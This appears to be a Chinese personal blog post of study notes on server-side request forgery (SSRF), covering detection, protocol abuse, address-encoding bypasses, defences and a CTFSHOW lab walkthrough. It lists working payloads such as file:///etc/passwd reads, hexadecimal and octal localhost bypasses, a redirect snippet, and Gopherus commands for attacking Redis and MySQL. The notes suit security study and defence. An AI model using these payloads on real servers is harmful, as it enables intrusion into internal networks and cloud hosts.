一、SSRF漏洞原理

1、SSRF(Server-Side Request Forgery:服务器端请求伪造)介绍

服务器本身 去访问攻击者指定的 URL
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
(正是因为它是由服务端发起的,所以它能够请求到与它相连、与外网隔离的内部系统)

攻击者真正利用的不是功能,而是 服务器天然比外网更有权限:

  • 能访问内网
  • 能访问本机
  • 能访问管理端口
  • 能访问云厂商的 metadata
  • 能访问仅限 127.0.0.1 的服务(redis、admin、debugger)

2、成因

web 系统经常需要在后台“请求一个外部资源”,常见场景包括:

  • 下载用户提供的图片
  • 抓取网页标题
  • 转码
  • 翻译 URL
  • webhook、回调函数
  • OAuth、登录跳转
  • fastjson、xml 外部实体
  • 云厂商 SDK 自动访问 metadata

后端接受了一个用来发请求的 URL(或地址),且没有严格限制。

二、SSRF漏洞挖掘

(一)常见 SSRF 触发点的指纹

  • 你上传一个 URL,它返回了内容 → 怀疑 SSRF
  • 你输入一个 URL,响应速度变慢 → 后端真的访问了
  • 你访问一个不存在的域名,它超时而不是快速返回 → SSRF
  • 你访问内网 IP 10.x、172.x、192.168.x,它响应方式改变 → 100% SSRF
  • 你输入一个带端口的 URL,响应不同 → 服务端探测端口
  • URL 在 POST body 中出现,而不是 query → 很多开发不注意过滤
  • URL 在 JSON 中出现 → API 类业务极容易出 SSRF
  • 富文本编辑器自动抓取资源 → SSRF “天坑”

(二)黑盒探针:业务功能点

1.社交分享功能:获取超链接的标题等内容进行显示

2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3.在线翻译:给网址翻译对应网页的内容

4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

8.数据库内置功能:数据库的比如mongodb的copyDatabase函数

9.邮件系统:比如接收邮件服务器地址

10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

URL关键参数

share
wap
url
link
src
source
target
u
display
sourceURl
imageURL
domain


callback
webhook
fetch
proxy
api
interface
req
login_url
redirect
feed
img
pic
avatar
thumbnail
download
meta
push
post_url
webscan
crawl
geturl
safeurl
webshot
render

带 url、link 的是显性 SSRF;
带 fetch、proxy 的是隐性 SSRF;
带 callback、redirect 的是旁门 SSF(重定向 SSRF)。

(三)白盒分析:见代码审计(文件读取,加载,数据操作类的函数)

PHP

file_get_contents()
curl_exec()
fsockopen()
fopen() - 只要传入 URL 就危险
Python

requests.get()
urllib.request.urlopen()
Java

URL.openConnection()
HttpClient.execute()
Apache HTTP 客户端所有请求
Node.js

http.get()
https.get()
request()
axios()

一些业务并没有直接传 URL,但传递了 host、ip、endpoint,也可能可控。

三、SSRF伪协议利用

(一)常用协议

http:// Web常见访问,如http://127.0.0.1

file:/// 从文件系统中获取文件内容,如,file:///etc/passwd

dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:

sftp:// SSH文件传输协议或安全文件传输协议

ldap:// 轻量级目录访问协议

tftp:// 简单文件传输协议

gopher:// 分布式文档传递服务,可使用gopherus生成payload

由于有部分协议http这类不支持,可以gopher来进行通讯(mysql,redis等)

应用:漏洞利用 或 信息收集 通讯相关服务的时候 工具:Gopherus

(二)协议利用

1、信息探测

探测内网存活主机
(内网地址段主要包括三个私有IP地址范围:10.0.0.0/8、172.16.0.0/12 和 192.168.0.0/16)

探测端口是否开放 (访问内网某个ip的某个服务端口)

判断服务类型(banner 信息)

2、伪协议读取本地敏感文件

SSRF的伪协议和php伪协议对比

3、访问云厂商 Metadata 一键接管云主机

4、SSRF + Gopher → 攻击内部服务

  • Gopher = 任意 TCP 数据包构造协议
  • Redis → 写公钥 → SSH 反弹 → 直接 getshell
  • FastCGI → 构造 FPM payload → 直接执行 PHP 代码
  • MySQL → 发 payload 执行 SQL
  • Memcache → 修改缓存
  • SMTP → 发邮件
  • 内部 API → 绕过认证

SSRF ---> 内网RCE

5、SSRF + 本机服务 → 拿下调试端口

eg. JAVA Debug port (JDWP) 开放在 localhost,Node.js inspector、Python debugpy 都是这样被打穿的

6、SSRF + 端口解析漏洞 → 绕过安全限制

不同语言的 URL parser 行为不一致就能绕。
如:
前端验证 = 正确
后端解析 = 不一样
WAF 解析 = 又不一样

四、SSRF绕过方式

(一)CTF绕过

1、限制为http://www.xxx.com 域名

采用http基本身份认证的方式绕过,即@,写两个,以后一个为准

http://www.xxx.com@www.xxyy.com

2、限制请求IP不为内网地址

当不允许ip为内网地址时:

(1)采取短网址绕过
短网址 - URLC.CN短网址,短网址生成,网址缩短,免费提供API接口生成,活码二维码生成,域名拦截检测

(2)采取域名解析 test.zmx.com 绑定为127.0.0.1

(3)采取进制转换 进制转换 - 在线工具

(4)采取3XX重定向

(二)实战绕过

1、DNS rebinding(域名解析绕回内网)动态解析

2、IPv6 绕过

http://[::1]/        //localhost

3、函数差异解析

某些语言允许 127.0.0.1:80#evil.com
浏览器 → 解析到 evil.com
服务器 → 解析 127.0.0.1

4、URL 编码双重绕过

http://127.0.0.1%252F..%252F..%252F

五、SSRF漏洞防御

用户想上传图片 → 你让他把图片上传,而不是让他给 URL
代理层隔离(白名单)
把业务请求外部 URL 的逻辑放到独立服务,权限隔离

1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。

2,统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。

4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

六、CTFSHOW SSRF 白盒

CTF 绕过

1、无过滤直接获取

url=http://127.0.0.1/flag.php

2-3、IP地址进制绕过

十六进制
url=http://0x7F.0.0.1/flag.php

八进制
url=http://0177.0.0.1/flag.php

10 进制整数格式
url=http://2130706433/flag.php

16 进制整数格式,还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php

还有一种特殊的省略模式
127.0.0.1写成127.1

用CIDR绕过localhost
url=http://127.127.127.127/flag.php

还有很多方式
url=http://0/flag.php
url=http://0.0.0.0/flag.php

4、域名解析IP绕过

test.xiaodi8.com -> 127.0.0.1
url=http://test.xiaodi8.com/flag.php

5、长度限制IP绕过

url=http://127.1/flag.php

6、长度限制IP绕过

url=http://0/flag.php

7、利用重定向解析绕过

只能解析外部地址,但是需要获取的是服务器的flag,所以需要重定向

<?php
header("Location:http://127.0.0.1/flag.php");

传参:url=http://zmxupforever.cn/xx.php

8、匹配且不影响写法解析

url=http://ctf.@127.0.0.1/flag.php?show

9-10、利用gopher协议打服务 可以不依赖http,通过其他服务写马

GitHub - tarunkant/Gopherus: This tool generates gopher link for exploiting SSRF and gaining RCE in various servers

d:Python2.7\python.exe gopherus.py --exploit mysql

d:Python2.7\python.exe gopherus.py --exploit redis

七、无回显SSRF利用

无回显不代表不能用,不能明显用来探针内网信息,只能通过一些时间盲或者其他来测试

八、文件导出功能的SSRF

典型:pdf转换

编辑pdf内容时,插入DNSlog,发现在重新生成pdf时解析了代码

<iframe src=“www.zmxupforever.cn">

如何对待?让服务器访问能控制的资源、让它写日志、让它连接一个可监控端口

1、DNSLog

2、利用 Burp Collaborator(本质是企业级 DNSLog)

3、利用自建 HTTP 服务器记录请求
本地python/nc监听

4、利用 Redis / FastCGI / Gopher 做“副作用”,如果 Redis 被写入文件则存在SSRF

5、利用协议 side-channel:file://、dict://、ftp://
读取本地文件时,如果文件不存在,业务可能报错。
如果文件存在,可能静默成功。

6、利用响应时间,时间差就是信息通道,如访问22端口

7、利用开放端口连接失败方式不同
不同端口的响应耗时、错误码不同。
可以做端口探测。

8、利用外网服务的行为判断 然后看日志

小结

欢迎来访 这是我的小窝~ 网安弱鸡 健身屌丝 好不容易搭出来的 大佬略过我
最后更新于 2025-11-25